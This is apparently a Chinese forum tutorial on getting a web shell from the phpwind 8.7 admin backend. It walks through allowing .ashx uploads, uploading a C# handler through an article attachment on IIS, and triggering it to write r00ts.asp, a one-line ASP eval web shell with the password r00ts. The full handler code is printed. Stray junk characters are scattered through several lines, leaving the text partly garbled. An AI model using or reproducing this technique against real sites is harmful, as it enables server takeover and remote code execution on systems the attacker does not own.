phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

% f% E: n8 ^; ]- @" n1 o群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
' [$ d  `' o" C- @) \/ m) B* t
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

& W8 R4 y% K& T: ~下面是代码:
+ t2 ~8 }7 M' G4 T1 }
* g: @* X% t4 O: Y& O5 t) L<%@ WebHandler Language="C#"Class="Handler" %>
. Q" q# i* ]9 W6 c6 }using System;
using System.Web;
; K' k/ i) O" O6 ]3 ausing System.IO;
public class Handler : IHttpHandler {
3 q" ]3 M7 E4 ^3 Bpublic void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
9 ~; B( H! v) C# Ofile1.Write("<%eval request(\"r00ts\")%>");
' {) {' w) w1 Ifile1.Flush();
file1.Close();
}
" ^1 D6 E9 }6 O' Y2 v0 Jpublic bool IsReusable {
% A7 n1 [, f0 ?- ^* K. kget {
+ a: }* {: l4 Zreturn false;
; o, g# |6 O+ B" H* {* J}
}
! b, I4 u2 l8 G9 a}
- q% t; D  s3 n0 P/ x& _3 A' p